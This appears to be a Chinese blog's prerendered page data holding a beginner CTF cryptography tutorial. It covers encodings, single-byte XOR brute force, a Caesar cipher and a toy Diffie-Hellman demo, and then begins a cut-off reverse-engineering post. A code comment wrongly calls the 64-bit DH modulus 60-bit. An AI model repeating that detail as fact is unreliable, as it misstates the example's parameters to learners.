[{"data":1,"prerenderedAt":14425},["ShallowReactive",2],{"blog-post-/blogs/ctf-crypto-overview":3,"all-blogs-for-navigation":1077},{"id":4,"title":5,"body":6,"description":1063,"extension":1064,"meta":1065,"navigation":124,"ogImage":1067,"path":1073,"seo":1074,"stem":1075,"__hash__":1076},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":8,"toc":1053},"minimark",[9,14,18,93,96,207,210,218,221,245,247,253,257,283,293,297,308,313,320,364,366,372,376,381,395,469,471,477,483,487,494,526,530,533,597,599,605,609,613,616,620,625,630,676,680,809,811,817,827,831,835,838,876,880,909,913,916,945,947,953,957,960,965,968,976,1035,1037,1042,1046,1049],[10,11,13],"h3",{"id":12},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,16,17],"p",{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[19,20,21,37],"table",{},[22,23,24],"thead",{},[25,26,27,31,34],"tr",{},[28,29,30],"th",{},"编码",[28,32,33],{},"现实应用",[28,35,36],{},"例子",[38,39,40,59,78],"tbody",{},[25,41,42,46,49],{},[43,44,45],"td",{},"Base64",[43,47,48],{},"邮件附件（MIME）、JWT 令牌、Data URI",[43,50,51,55,56],{},[52,53,54],"code",{},"ZmxhZw=="," → ",[52,57,58],{},"flag",[25,60,61,64,71],{},[43,62,63],{},"Hex",[43,65,66,67,70],{},"颜色值 ",[52,68,69],{},"#FF0000","、MAC 地址、哈希摘要",[43,72,73,55,76],{},[52,74,75],{},"666c6167",[52,77,58],{},[25,79,80,83,86],{},[43,81,82],{},"URL 编码",[43,84,85],{},"浏览器地址栏中的中文与特殊字符",[43,87,88,55,91],{},[52,89,90],{},"%66%6c%61%67",[52,92,58],{},[15,94,95],{},"先运行最小的解码例子：",[97,98,103],"pre",{"className":99,"code":100,"language":101,"meta":102,"style":102},"language-python shiki shiki-themes dracula","import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n","python","",[52,104,105,113,119,126,132,138,144,149,155,161,167,172,178,184,190,195,201],{"__ignoreMap":102},[106,107,110],"span",{"class":108,"line":109},"line",1,[106,111,112],{},"import base64\n",[106,114,116],{"class":108,"line":115},2,[106,117,118],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[106,120,122],{"class":108,"line":121},3,[106,123,125],{"emptyLinePlaceholder":124},true,"\n",[106,127,129],{"class":108,"line":128},4,[106,130,131],{},"print(base64.b64encode(b\"flag\"))\n",[106,133,135],{"class":108,"line":134},5,[106,136,137],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[106,139,141],{"class":108,"line":140},6,[106,142,143],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[106,145,147],{"class":108,"line":146},7,[106,148,125],{"emptyLinePlaceholder":124},[106,150,152],{"class":108,"line":151},8,[106,153,154],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[106,156,158],{"class":108,"line":157},9,[106,159,160],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[106,162,164],{"class":108,"line":163},10,[106,165,166],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[106,168,170],{"class":108,"line":169},11,[106,171,125],{"emptyLinePlaceholder":124},[106,173,175],{"class":108,"line":174},12,[106,176,177],{},"print(bytes.fromhex(\"666c6167\"))\n",[106,179,181],{"class":108,"line":180},13,[106,182,183],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[106,185,187],{"class":108,"line":186},14,[106,188,189],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[106,191,193],{"class":108,"line":192},15,[106,194,125],{"emptyLinePlaceholder":124},[106,196,198],{"class":108,"line":197},16,[106,199,200],{},"print(b\"flag\".hex())\n",[106,202,204],{"class":108,"line":203},17,[106,205,206],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,208,209],{},"实际输出：",[97,211,216],{"className":212,"code":214,"language":215,"meta":102},[213],"language-text","b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n","text",[52,217,214],{"__ignoreMap":102},[15,219,220],{},"URL 编码：",[97,222,224],{"className":99,"code":223,"language":101,"meta":102,"style":102},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[52,225,226,231,235,240],{"__ignoreMap":102},[106,227,228],{"class":108,"line":109},[106,229,230],{},"from urllib.parse import quote, unquote\n",[106,232,233],{"class":108,"line":115},[106,234,125],{"emptyLinePlaceholder":124},[106,236,237],{"class":108,"line":121},[106,238,239],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[106,241,242],{"class":108,"line":128},[106,243,244],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,246,209],{},[97,248,251],{"className":249,"code":250,"language":215,"meta":102},[213],"%E4%BD%A0%E5%A5%BD\nflag\n",[52,252,250],{"__ignoreMap":102},[10,254,256],{"id":255},"二环境准备","二、环境准备",[97,258,262],{"className":259,"code":260,"language":261,"meta":102,"style":102},"language-bash shiki shiki-themes dracula","pip3 install pycryptodome sympy gmpy2\n","bash",[52,263,264],{"__ignoreMap":102},[106,265,266,270,274,277,280],{"class":108,"line":109},[106,267,269],{"class":268},"sAOxA","pip3",[106,271,273],{"class":272},"s-mGx"," install",[106,275,276],{"class":272}," pycryptodome",[106,278,279],{"class":272}," sympy",[106,281,282],{"class":272}," gmpy2\n",[15,284,285,286],{},"浏览器打开 CyberChef（",[287,288,292],"a",{"href":289,"rel":290},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[291],"nofollow","https://gchq.github.io/CyberChef）。",[10,294,296],{"id":295},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,298,299,300,303,304,307],{},"异或的性质：",[52,301,302],{},"A ^ B = C","，且 ",[52,305,306],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[309,310,312],"h4",{"id":311},"_31-加密","3.1 加密",[15,314,315,319],{},[316,317,318],"strong",{},"目的","：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[97,321,323],{"className":99,"code":322,"language":101,"meta":102,"style":102},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[52,324,325,330,335,339,344,349,354,359],{"__ignoreMap":102},[106,326,327],{"class":108,"line":109},[106,328,329],{},"plain = b\"flag{xor_is_easy}\"\n",[106,331,332],{"class":108,"line":115},[106,333,334],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[106,336,337],{"class":108,"line":121},[106,338,125],{"emptyLinePlaceholder":124},[106,340,341],{"class":108,"line":128},[106,342,343],{},"cipher = bytes([b ^ key for b in plain])\n",[106,345,346],{"class":108,"line":134},[106,347,348],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[106,350,351],{"class":108,"line":140},[106,352,353],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[106,355,356],{"class":108,"line":146},[106,357,358],{},"print(cipher.hex())\n",[106,360,361],{"class":108,"line":151},[106,362,363],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,365,209],{},[97,367,370],{"className":368,"code":369,"language":215,"meta":102},[213],"242e2325393a2d301d2b311d2723313b3f\n",[52,371,369],{"__ignoreMap":102},[309,373,375],{"id":374},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,377,378,380],{},[316,379,318],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,382,383,386,387,390,391,394],{},[316,384,385],{},"思路","：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[52,388,389],{},"flag{"," 开头，这就是天然的判据。用 ",[52,392,393],{},"b\"flag{\" in plain"," 过滤即可。",[97,396,398],{"className":99,"code":397,"language":101,"meta":102,"style":102},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[52,399,400,405,410,414,419,424,429,434,439,444,449,454,459,464],{"__ignoreMap":102},[106,401,402],{"class":108,"line":109},[106,403,404],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[106,406,407],{"class":108,"line":115},[106,408,409],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[106,411,412],{"class":108,"line":121},[106,413,125],{"emptyLinePlaceholder":124},[106,415,416],{"class":108,"line":128},[106,417,418],{},"for k in range(256):\n",[106,420,421],{"class":108,"line":134},[106,422,423],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[106,425,426],{"class":108,"line":140},[106,427,428],{},"    plain = bytes([b ^ k for b in cipher])\n",[106,430,431],{"class":108,"line":146},[106,432,433],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[106,435,436],{"class":108,"line":151},[106,437,438],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[106,440,441],{"class":108,"line":157},[106,442,443],{},"    if b\"flag{\" in plain:\n",[106,445,446],{"class":108,"line":163},[106,447,448],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[106,450,451],{"class":108,"line":169},[106,452,453],{},"        print(\"key =\", k)           # 输出密钥数值\n",[106,455,456],{"class":108,"line":174},[106,457,458],{},"        print(plain.decode())       # 输出解密出的明文\n",[106,460,461],{"class":108,"line":180},[106,462,463],{},"        break\n",[106,465,466],{"class":108,"line":186},[106,467,468],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,470,209],{},[97,472,475],{"className":473,"code":474,"language":215,"meta":102},[213],"key = 66\nflag{xor_is_easy}\n",[52,476,474],{"__ignoreMap":102},[15,478,479,480,482],{},"判断依据：明文包含 ",[52,481,389],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[309,484,486],{"id":485},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,488,489,490,493],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[52,491,492],{},"xortool","：",[97,495,497],{"className":259,"code":496,"language":261,"meta":102,"style":102},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[52,498,499,509],{"__ignoreMap":102},[106,500,501,504,506],{"class":108,"line":109},[106,502,503],{"class":268},"pip",[106,505,273],{"class":272},[106,507,508],{"class":272}," xortool\n",[106,510,511,513,517,520,523],{"class":108,"line":115},[106,512,492],{"class":268},[106,514,516],{"class":515},"sIQBb"," -x",[106,518,519],{"class":515}," -c",[106,521,522],{"class":515}," 20",[106,524,525],{"class":272}," cipher.bin\n",[10,527,529],{"id":528},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,531,532],{},"每个字母平移固定位数：",[97,534,536],{"className":99,"code":535,"language":101,"meta":102,"style":102},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[52,537,538,543,548,553,558,563,568,573,578,583,587,592],{"__ignoreMap":102},[106,539,540],{"class":108,"line":109},[106,541,542],{},"def caesar(s, shift):\n",[106,544,545],{"class":108,"line":115},[106,546,547],{},"    out = \"\"\n",[106,549,550],{"class":108,"line":121},[106,551,552],{},"    for c in s:\n",[106,554,555],{"class":108,"line":128},[106,556,557],{},"        if c.isalpha():\n",[106,559,560],{"class":108,"line":134},[106,561,562],{},"            base = ord('a') if c.islower() else ord('A')\n",[106,564,565],{"class":108,"line":140},[106,566,567],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[106,569,570],{"class":108,"line":146},[106,571,572],{},"        else:\n",[106,574,575],{"class":108,"line":151},[106,576,577],{},"            out += c\n",[106,579,580],{"class":108,"line":157},[106,581,582],{},"    return out\n",[106,584,585],{"class":108,"line":163},[106,586,125],{"emptyLinePlaceholder":124},[106,588,589],{"class":108,"line":169},[106,590,591],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[106,593,594],{"class":108,"line":174},[106,595,596],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,598,209],{},[97,600,603],{"className":601,"code":602,"language":215,"meta":102},[213],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[52,604,602],{"__ignoreMap":102},[10,606,608],{"id":607},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[309,610,612],{"id":611},"_51-要解决的问题","5.1 要解决的问题",[15,614,615],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[309,617,619],{"id":618},"_52-流程","5.2 流程",[15,621,622,624],{},[316,623,318],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,626,627,629],{},[316,628,385],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[631,632,633,644,653,662],"ol",{},[634,635,636,637,639,640,643],"li",{},"双方公开约定大素数 ",[52,638,15],{}," 与生成元 ",[52,641,642],{},"g","。",[634,645,646,647,649,650,643],{},"Alice 选私钥 ",[52,648,287],{},"，发送 ",[52,651,652],{},"A = g^a mod p",[634,654,655,656,649,659,643],{},"Bob 选私钥 ",[52,657,658],{},"b",[52,660,661],{},"B = g^b mod p",[634,663,664,665,668,669,672,673,643],{},"双方分别计算 ",[52,666,667],{},"B^a mod p"," 与 ",[52,670,671],{},"A^b mod p","，得到相同值 ",[52,674,675],{},"g^(ab) mod p",[309,677,679],{"id":678},"_53-最小实现","5.3 最小实现",[97,681,683],{"className":99,"code":682,"language":101,"meta":102,"style":102},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[52,684,685,690,695,700,705,710,714,719,724,729,734,739,743,748,753,758,763,768,773,779,785,791,797,803],{"__ignoreMap":102},[106,686,687],{"class":108,"line":109},[106,688,689],{},"p, g = 0xffffffffffffffc5, 2\n",[106,691,692],{"class":108,"line":115},[106,693,694],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[106,696,697],{"class":108,"line":121},[106,698,699],{},"# g：生成元，双方公开约定。\n",[106,701,702],{"class":108,"line":128},[106,703,704],{},"a, b = 1234567, 7654321\n",[106,706,707],{"class":108,"line":134},[106,708,709],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[106,711,712],{"class":108,"line":140},[106,713,125],{"emptyLinePlaceholder":124},[106,715,716],{"class":108,"line":146},[106,717,718],{},"A = pow(g, a, p)\n",[106,720,721],{"class":108,"line":151},[106,722,723],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[106,725,726],{"class":108,"line":157},[106,727,728],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[106,730,731],{"class":108,"line":163},[106,732,733],{},"B = pow(g, b, p)\n",[106,735,736],{"class":108,"line":169},[106,737,738],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[106,740,741],{"class":108,"line":174},[106,742,125],{"emptyLinePlaceholder":124},[106,744,745],{"class":108,"line":180},[106,746,747],{},"s_alice = pow(B, a, p)\n",[106,749,750],{"class":108,"line":186},[106,751,752],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[106,754,755],{"class":108,"line":192},[106,756,757],{},"s_bob = pow(A, b, p)\n",[106,759,760],{"class":108,"line":197},[106,761,762],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[106,764,765],{"class":108,"line":203},[106,766,767],{},"# 两个结果相等，这就是共享密钥。\n",[106,769,771],{"class":108,"line":770},18,[106,772,125],{"emptyLinePlaceholder":124},[106,774,776],{"class":108,"line":775},19,[106,777,778],{},"print(\"A =\", A)\n",[106,780,782],{"class":108,"line":781},20,[106,783,784],{},"print(\"B =\", B)\n",[106,786,788],{"class":108,"line":787},21,[106,789,790],{},"print(\"Alice 计算:\", s_alice)\n",[106,792,794],{"class":108,"line":793},22,[106,795,796],{},"print(\"Bob 计算:\", s_bob)\n",[106,798,800],{"class":108,"line":799},23,[106,801,802],{},"print(\"一致:\", s_alice == s_bob)\n",[106,804,806],{"class":108,"line":805},24,[106,807,808],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,810,209],{},[97,812,815],{"className":813,"code":814,"language":215,"meta":102},[213],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[52,816,814],{"__ignoreMap":102},[15,818,819,820,823,824,826],{},"窃听者只能看到 ",[52,821,822],{},"p, g, A, B","，要算出 ",[52,825,287],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,828,830],{"id":829},"六必学工具","六、必学工具",[309,832,834],{"id":833},"工具-1cyberchef","工具 1：CyberChef",[15,836,837],{},"浏览器工具，三个常用操作：",[19,839,840,850],{},[22,841,842],{},[25,843,844,847],{},[28,845,846],{},"操作",[28,848,849],{},"用法",[38,851,852,860,868],{},[25,853,854,857],{},[43,855,856],{},"From Base64",[43,858,859],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[25,861,862,865],{},[43,863,864],{},"From Hex",[43,866,867],{},"拖入 From Hex 解码十六进制",[25,869,870,873],{},[43,871,872],{},"Magic",[43,874,875],{},"直接粘贴未知文本，自动猜测编码方式",[309,877,879],{"id":878},"工具-2python-标准库","工具 2：Python 标准库",[97,881,883],{"className":99,"code":882,"language":101,"meta":102,"style":102},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[52,884,885,890,894,899,904],{"__ignoreMap":102},[106,886,887],{"class":108,"line":109},[106,888,889],{},"import base64, binascii\n",[106,891,892],{"class":108,"line":115},[106,893,125],{"emptyLinePlaceholder":124},[106,895,896],{"class":108,"line":121},[106,897,898],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[106,900,901],{"class":108,"line":128},[106,902,903],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[106,905,906],{"class":108,"line":134},[106,907,908],{},"print(ord('A'))                       # 65，ASCII 编码\n",[309,910,912],{"id":911},"工具-3pycryptodome","工具 3：pycryptodome",[15,914,915],{},"CTF 密码学最常用的库，三个函数：",[97,917,919],{"className":99,"code":918,"language":101,"meta":102,"style":102},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[52,920,921,926,930,935,940],{"__ignoreMap":102},[106,922,923],{"class":108,"line":109},[106,924,925],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[106,927,928],{"class":108,"line":115},[106,929,125],{"emptyLinePlaceholder":124},[106,931,932],{"class":108,"line":121},[106,933,934],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[106,936,937],{"class":108,"line":128},[106,938,939],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[106,941,942],{"class":108,"line":134},[106,943,944],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,946,209],{},[97,948,951],{"className":949,"code":950,"language":215,"meta":102},[213],"5\nb'flag'\n1718378855\n",[52,952,950],{"__ignoreMap":102},[10,954,956],{"id":955},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,958,959],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[97,961,963],{"className":962,"code":369,"language":215,"meta":102},[213],[52,964,369],{"__ignoreMap":102},[15,966,967],{},"解题脚本：",[15,969,970,972,973,975],{},[316,971,385],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[52,974,389],{}," 前缀过滤正确结果。",[97,977,979],{"className":99,"code":978,"language":101,"meta":102,"style":102},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[52,980,981,986,991,995,1000,1004,1008,1012,1017,1021,1026,1031],{"__ignoreMap":102},[106,982,983],{"class":108,"line":109},[106,984,985],{},"from binascii import unhexlify\n",[106,987,988],{"class":108,"line":115},[106,989,990],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[106,992,993],{"class":108,"line":121},[106,994,125],{"emptyLinePlaceholder":124},[106,996,997],{"class":108,"line":128},[106,998,999],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[106,1001,1002],{"class":108,"line":134},[106,1003,125],{"emptyLinePlaceholder":124},[106,1005,1006],{"class":108,"line":140},[106,1007,418],{},[106,1009,1010],{"class":108,"line":146},[106,1011,428],{},[106,1013,1014],{"class":108,"line":151},[106,1015,1016],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[106,1018,1019],{"class":108,"line":157},[106,1020,443],{},[106,1022,1023],{"class":108,"line":163},[106,1024,1025],{},"        print(\"key =\", k)          # 预期 66\n",[106,1027,1028],{"class":108,"line":169},[106,1029,1030],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[106,1032,1033],{"class":108,"line":174},[106,1034,463],{},[15,1036,209],{},[97,1038,1040],{"className":1039,"code":474,"language":215,"meta":102},[213],[52,1041,474],{"__ignoreMap":102},[10,1043,1045],{"id":1044},"八小结","八、小结",[15,1047,1048],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1050,1051,1052],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":102,"searchDepth":115,"depth":115,"links":1054},[1055,1056,1057,1058,1059,1060,1061,1062],{"id":12,"depth":121,"text":13},{"id":255,"depth":121,"text":256},{"id":295,"depth":121,"text":296},{"id":528,"depth":121,"text":529},{"id":607,"depth":121,"text":608},{"id":829,"depth":121,"text":830},{"id":955,"depth":121,"text":956},{"id":1044,"depth":121,"text":1045},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。","md",{"date":1066,"image":1067,"alt":1068,"tags":1069,"published":124},"14th Aug 2026","/blogs-img/blog3.png","CTF 密码学入门",[1070,1071,1072],"ctf","crypto","example","/blogs/ctf-crypto-overview",{"title":5,"description":1063},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",[1078,2394,3268,4046,5013,6419,7478,8430,9528,10565,11544,12566],{"id":1079,"title":1080,"body":1081,"description":2384,"extension":1064,"meta":2385,"navigation":124,"ogImage":2386,"path":2390,"seo":2391,"stem":2392,"__hash__":2393},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1082,"toc":2374},[1083,1087,1090,1093,1141,1144,1146,1149,1176,1183,1187,1192,1197,1201,1204,1217,1220,1226,1237,1242,1246,1248,1260,1262,1268,1278,1295,1298,1303,1327,1331,1343,1348,1360,1365,1370,1374,1379,1396,1400,1402,1423,1426,1466,1469,1526,1529,1583,1590,1610,1614,1647,1650,1670,1677,1693,1697,1717,1719,1725,1735,1748,1752,1755,1818,1821,1842,1845,1872,1875,1879,1882,1887,1896,1908,1911,1915,1925,1927,1933,1937,1946,1948,1954,1957,1961,1970,1973,1977,1986,1992,2001,2004,2027,2034,2047,2050,2056,2059,2065,2067,2148,2158,2162,2169,2173,2178,2191,2207,2213,2217,2222,2231,2237,2246,2250,2255,2264,2329,2331,2337,2341,2354,2358,2360,2371],[10,1084,1086],{"id":1085},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1088,1089],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1091,1092],{},"目标程序示例：",[97,1094,1096],{"className":259,"code":1095,"language":261,"meta":102,"style":102},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[52,1097,1098,1106,1127,1136],{"__ignoreMap":102},[106,1099,1100,1103],{"class":108,"line":109},[106,1101,1102],{"class":268},"$",[106,1104,1105],{"class":272}," ./checkflag\n",[106,1107,1108,1111,1114,1118,1121,1124],{"class":108,"line":115},[106,1109,1110],{"class":268},"Usage:",[106,1112,1113],{"class":272}," ./checkflag",[106,1115,1117],{"class":1116},"s0Tla"," \u003C",[106,1119,1120],{"class":272},"fla",[106,1122,642],{"class":1123},"sCdxs",[106,1125,1126],{"class":1116},">\n",[106,1128,1129,1131,1133],{"class":108,"line":121},[106,1130,1102],{"class":268},[106,1132,1113],{"class":272},[106,1134,1135],{"class":272}," test\n",[106,1137,1138],{"class":108,"line":128},[106,1139,1140],{"class":268},"Wrong!\n",[15,1142,1143],{},"解题目标：通过分析二进制，找出正确输入。",[10,1145,256],{"id":255},[15,1147,1148],{},"在 Linux（Kali/Ubuntu）上：",[97,1150,1152],{"className":259,"code":1151,"language":261,"meta":102,"style":102},"apt install file binutils gdb ltrace strace\n",[52,1153,1154],{"__ignoreMap":102},[106,1155,1156,1159,1161,1164,1167,1170,1173],{"class":108,"line":109},[106,1157,1158],{"class":268},"apt",[106,1160,273],{"class":272},[106,1162,1163],{"class":272}," file",[106,1165,1166],{"class":272}," binutils",[106,1168,1169],{"class":272}," gdb",[106,1171,1172],{"class":272}," ltrace",[106,1174,1175],{"class":272}," strace\n",[15,1177,1178,1179,1182],{},"本文以编译后的 